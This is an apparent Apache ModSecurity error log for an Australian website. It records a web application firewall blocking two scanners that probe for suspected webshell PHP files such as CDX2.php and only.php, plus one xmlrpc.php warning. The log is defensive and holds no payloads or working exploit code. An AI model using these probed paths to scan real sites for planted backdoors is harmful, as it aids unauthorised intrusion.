[Thu Apr 02 22:05:40.688547 2026] [:error] [pid 29467:tid 29474] [client 20.215.208.99:26528] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/exhds0ucw0ju9vjgasxqCdefault.php"] [unique_id "ac53tL4VUBFCJAq-WOnY8AAAAQQ"]
[Thu Apr 02 22:05:43.538143 2026] [:error] [pid 59201:tid 59287] [client 20.215.208.99:47659] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/exhds0ucw0ju9vjgasxqCdefault.php"] [unique_id "ac53t8AC0Tw8eL6gzZ46_AAAAJQ"]
[Thu Apr 02 22:05:44.905436 2026] [:error] [pid 59305:tid 59313] [client 20.215.208.99:50033] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/exhds0ucw0ju9vjgasxqCdefault.php"] [unique_id "ac53uKr2tV4rDwKFxKfP-gAAAMQ"]
[Thu Apr 02 22:05:46.656377 2026] [:error] [pid 29467:tid 29476] [client 20.215.208.99:28597] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/exhds0ucw0ju9vjgasxqCdefault.php"] [unique_id "ac53ur4VUBFCJAq-WOnY_wAAAQY"]
[Thu Apr 02 22:05:49.736839 2026] [:error] [pid 59305:tid 59309] [client 20.215.208.99:50012] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/CDX2.php"] [unique_id "ac53var2tV4rDwKFxKfQDQAAAMA"]
[Thu Apr 02 22:05:53.066416 2026] [:error] [pid 59305:tid 59309] [client 20.215.208.99:28571] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/CDX2.php"] [unique_id "ac53war2tV4rDwKFxKfQGgAAAMA"]
[Thu Apr 02 22:06:06.472985 2026] [:error] [pid 29467:tid 29482] [client 20.215.208.99:5382] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/htto.php"] [unique_id "ac53zr4VUBFCJAq-WOnZRQAAAQw"]
[Thu Apr 02 22:06:09.284226 2026] [:error] [pid 29467:tid 29472] [client 20.215.208.99:17912] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/htto.php"] [unique_id "ac530b4VUBFCJAq-WOnZTQAAAQI"]
[Thu Apr 02 22:06:21.098543 2026] [:error] [pid 59305:tid 59325] [client 20.215.208.99:17895] [client 20.215.208.99] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/htto.php"] [unique_id "ac533ar2tV4rDwKFxKfQYgAAANA"]
[Fri Apr 03 02:00:11.102970 2026] [:error] [pid 25470:tid 25478] [client 106.195.3.179:35432] [client 106.195.3.179] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 106.195.3.179, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "ac6uq3hROcck6_9HYyg1_gAAAMY"]
[Fri Apr 03 02:46:44.286164 2026] [:error] [pid 25010:tid 25370] [client 158.158.120.135:57873] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/hnphq.php"] [unique_id "ac65lI_KcjFQF5TuqTXgRQAAABU"]
[Fri Apr 03 02:46:44.808550 2026] [:error] [pid 25018:tid 25436] [client 158.158.120.135:49940] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/hnphq.php"] [unique_id "ac65lHupR6lXnAUzFGoeLwAAAFc"]
[Fri Apr 03 02:46:45.289808 2026] [:error] [pid 25035:tid 25443] [client 158.158.120.135:48661] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/hnphq.php"] [unique_id "ac65lRhR292toNOkLqHiQwAAAIE"]
[Fri Apr 03 02:46:45.793626 2026] [:error] [pid 25470:tid 25492] [client 158.158.120.135:50613] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/hnphq.php"] [unique_id "ac65lXhROcck6_9HYyhrmwAAANQ"]
[Fri Apr 03 02:46:46.289586 2026] [:error] [pid 25035:tid 25456] [client 158.158.120.135:57895] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/b4txckoieeyhynhsrpi9lCdefault.php"] [unique_id "ac65lhhR292toNOkLqHiSQAAAI4"]
[Fri Apr 03 02:46:46.783323 2026] [:error] [pid 25035:tid 25448] [client 158.158.120.135:57907] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/b4txckoieeyhynhsrpi9lCdefault.php"] [unique_id "ac65lhhR292toNOkLqHiTwAAAIY"]
[Fri Apr 03 02:46:47.274843 2026] [:error] [pid 25035:tid 25450] [client 158.158.120.135:48667] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/b4txckoieeyhynhsrpi9lCdefault.php"] [unique_id "ac65lxhR292toNOkLqHiVAAAAIg"]
[Fri Apr 03 02:46:47.761309 2026] [:error] [pid 25035:tid 25455] [client 158.158.120.135:59722] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/b4txckoieeyhynhsrpi9lCdefault.php"] [unique_id "ac65lxhR292toNOkLqHiVwAAAI0"]
[Fri Apr 03 02:46:48.312622 2026] [:error] [pid 25035:tid 25449] [client 158.158.120.135:24916] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/aligk.php"] [unique_id "ac65mBhR292toNOkLqHiXQAAAIc"]
[Fri Apr 03 02:46:48.850890 2026] [:error] [pid 25470:tid 25485] [client 158.158.120.135:25555] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/aligk.php"] [unique_id "ac65mHhROcck6_9HYyhrqgAAAM0"]
[Fri Apr 03 02:46:49.599500 2026] [:error] [pid 25018:tid 25419] [client 158.158.120.135:27352] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/aligk.php"] [unique_id "ac65mXupR6lXnAUzFGoeNgAAAEY"]
[Fri Apr 03 02:46:50.083896 2026] [:error] [pid 25018:tid 25425] [client 158.158.120.135:27347] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/aligk.php"] [unique_id "ac65mnupR6lXnAUzFGoeOgAAAEw"]
[Fri Apr 03 02:46:50.624937 2026] [:error] [pid 25470:tid 25484] [client 158.158.120.135:31239] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/jlex.php"] [unique_id "ac65mnhROcck6_9HYyhrswAAAMw"]
[Fri Apr 03 02:46:51.108345 2026] [:error] [pid 25470:tid 25485] [client 158.158.120.135:48681] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/jlex.php"] [unique_id "ac65m3hROcck6_9HYyhrtwAAAM0"]
[Fri Apr 03 02:46:51.588093 2026] [:error] [pid 25470:tid 25488] [client 158.158.120.135:49981] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/jlex.php"] [unique_id "ac65m3hROcck6_9HYyhrugAAANA"]
[Fri Apr 03 02:46:52.108212 2026] [:error] [pid 25470:tid 25483] [client 158.158.120.135:64765] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/jlex.php"] [unique_id "ac65nHhROcck6_9HYyhrvwAAAMs"]
[Fri Apr 03 02:46:52.655319 2026] [:error] [pid 25470:tid 25481] [client 158.158.120.135:48676] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-class-20260318124352.php"] [unique_id "ac65nHhROcck6_9HYyhrxAAAAMk"]
[Fri Apr 03 02:46:53.150204 2026] [:error] [pid 25010:tid 25348] [client 158.158.120.135:24940] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-class-20260318124352.php"] [unique_id "ac65nY_KcjFQF5TuqTXgWwAAAAE"]
[Fri Apr 03 02:46:53.641813 2026] [:error] [pid 25035:tid 25444] [client 158.158.120.135:28091] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-class-20260318124352.php"] [unique_id "ac65nRhR292toNOkLqHidwAAAII"]
[Fri Apr 03 02:46:54.132483 2026] [:error] [pid 25010:tid 25368] [client 158.158.120.135:33129] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-class-20260318124352.php"] [unique_id "ac65no_KcjFQF5TuqTXgYAAAABM"]
[Fri Apr 03 02:46:54.614644 2026] [:error] [pid 25470:tid 25481] [client 158.158.120.135:57870] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/5xkfgawzejgwqh9hiaznCdefault.php"] [unique_id "ac65nnhROcck6_9HYyhrzQAAAMk"]
[Fri Apr 03 02:46:55.102827 2026] [:error] [pid 25018:tid 25430] [client 158.158.120.135:27356] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/5xkfgawzejgwqh9hiaznCdefault.php"] [unique_id "ac65n3upR6lXnAUzFGoeQQAAAFE"]
[Fri Apr 03 02:46:55.582501 2026] [:error] [pid 25470:tid 25495] [client 158.158.120.135:2741] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/5xkfgawzejgwqh9hiaznCdefault.php"] [unique_id "ac65n3hROcck6_9HYyhr0QAAANc"]
[Fri Apr 03 02:46:56.065028 2026] [:error] [pid 25010:tid 25362] [client 158.158.120.135:56061] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/5xkfgawzejgwqh9hiaznCdefault.php"] [unique_id "ac65oI_KcjFQF5TuqTXgZwAAAA0"]
[Fri Apr 03 02:46:56.562531 2026] [:error] [pid 25035:tid 25458] [client 158.158.120.135:27340] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/Okxob.php"] [unique_id "ac65oBhR292toNOkLqHiiQAAAJA"]
[Fri Apr 03 02:46:57.109046 2026] [:error] [pid 25470:tid 25492] [client 158.158.120.135:29800] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/Okxob.php"] [unique_id "ac65oXhROcck6_9HYyhr1QAAANQ"]
[Fri Apr 03 02:46:57.624516 2026] [:error] [pid 25470:tid 25487] [client 158.158.120.135:27358] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/Okxob.php"] [unique_id "ac65oXhROcck6_9HYyhr2wAAAM8"]
[Fri Apr 03 02:46:58.112878 2026] [:error] [pid 25010:tid 25362] [client 158.158.120.135:27355] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/Okxob.php"] [unique_id "ac65oo_KcjFQF5TuqTXgcQAAAA0"]
[Fri Apr 03 02:46:58.614028 2026] [:error] [pid 25470:tid 25476] [client 158.158.120.135:49942] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/q7lhrgzoo7ijhnkcedq2Cdefault.php"] [unique_id "ac65onhROcck6_9HYyhr4AAAAMQ"]
[Fri Apr 03 02:46:59.093993 2026] [:error] [pid 25018:tid 25412] [client 158.158.120.135:24929] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/q7lhrgzoo7ijhnkcedq2Cdefault.php"] [unique_id "ac65o3upR6lXnAUzFGoeRgAAAEE"]
[Fri Apr 03 02:46:59.596401 2026] [:error] [pid 25018:tid 25431] [client 158.158.120.135:29776] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/q7lhrgzoo7ijhnkcedq2Cdefault.php"] [unique_id "ac65o3upR6lXnAUzFGoeSQAAAFI"]
[Fri Apr 03 02:47:00.088197 2026] [:error] [pid 25470:tid 25479] [client 158.158.120.135:2747] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/q7lhrgzoo7ijhnkcedq2Cdefault.php"] [unique_id "ac65pHhROcck6_9HYyhr5gAAAMc"]
[Fri Apr 03 02:47:00.593987 2026] [:error] [pid 25470:tid 25476] [client 158.158.120.135:56008] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/kthusnjbc8ab0jiryls2jinCdefault.php"] [unique_id "ac65pHhROcck6_9HYyhr6AAAAMQ"]
[Fri Apr 03 02:47:01.077917 2026] [:error] [pid 25018:tid 25418] [client 158.158.120.135:49330] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/kthusnjbc8ab0jiryls2jinCdefault.php"] [unique_id "ac65pXupR6lXnAUzFGoeTwAAAEU"]
[Fri Apr 03 02:47:01.658927 2026] [:error] [pid 25035:tid 25445] [client 158.158.120.135:27339] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/kthusnjbc8ab0jiryls2jinCdefault.php"] [unique_id "ac65pRhR292toNOkLqHioQAAAIM"]
[Fri Apr 03 02:47:02.148328 2026] [:error] [pid 25018:tid 25426] [client 158.158.120.135:49973] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/kthusnjbc8ab0jiryls2jinCdefault.php"] [unique_id "ac65pnupR6lXnAUzFGoeUQAAAE0"]
[Fri Apr 03 02:47:02.633566 2026] [:error] [pid 25035:tid 25450] [client 158.158.120.135:47182] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/only.php"] [unique_id "ac65phhR292toNOkLqHiowAAAIg"]
[Fri Apr 03 02:47:03.115052 2026] [:error] [pid 25018:tid 25417] [client 158.158.120.135:56030] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/only.php"] [unique_id "ac65p3upR6lXnAUzFGoeVQAAAEQ"]
[Fri Apr 03 02:47:03.595300 2026] [:error] [pid 25035:tid 25449] [client 158.158.120.135:33104] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/only.php"] [unique_id "ac65pxhR292toNOkLqHipwAAAIc"]
[Fri Apr 03 02:47:04.075977 2026] [:error] [pid 25018:tid 25427] [client 158.158.120.135:50577] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/only.php"] [unique_id "ac65qHupR6lXnAUzFGoeWAAAAE4"]
[Fri Apr 03 02:47:04.567856 2026] [:error] [pid 25010:tid 25355] [client 158.158.120.135:50620] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/repurify.php"] [unique_id "ac65qI_KcjFQF5TuqTXgggAAAAc"]
[Fri Apr 03 02:47:05.052041 2026] [:error] [pid 25010:tid 25356] [client 158.158.120.135:56007] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/repurify.php"] [unique_id "ac65qY_KcjFQF5TuqTXghAAAAAg"]
[Fri Apr 03 02:47:05.532736 2026] [:error] [pid 25010:tid 25354] [client 158.158.120.135:2711] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/repurify.php"] [unique_id "ac65qY_KcjFQF5TuqTXghQAAAAY"]
[Fri Apr 03 02:47:06.019360 2026] [:error] [pid 25470:tid 25486] [client 158.158.120.135:29320] [client 158.158.120.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/repurify.php"] [unique_id "ac65qnhROcck6_9HYyhr_QAAAM4"]
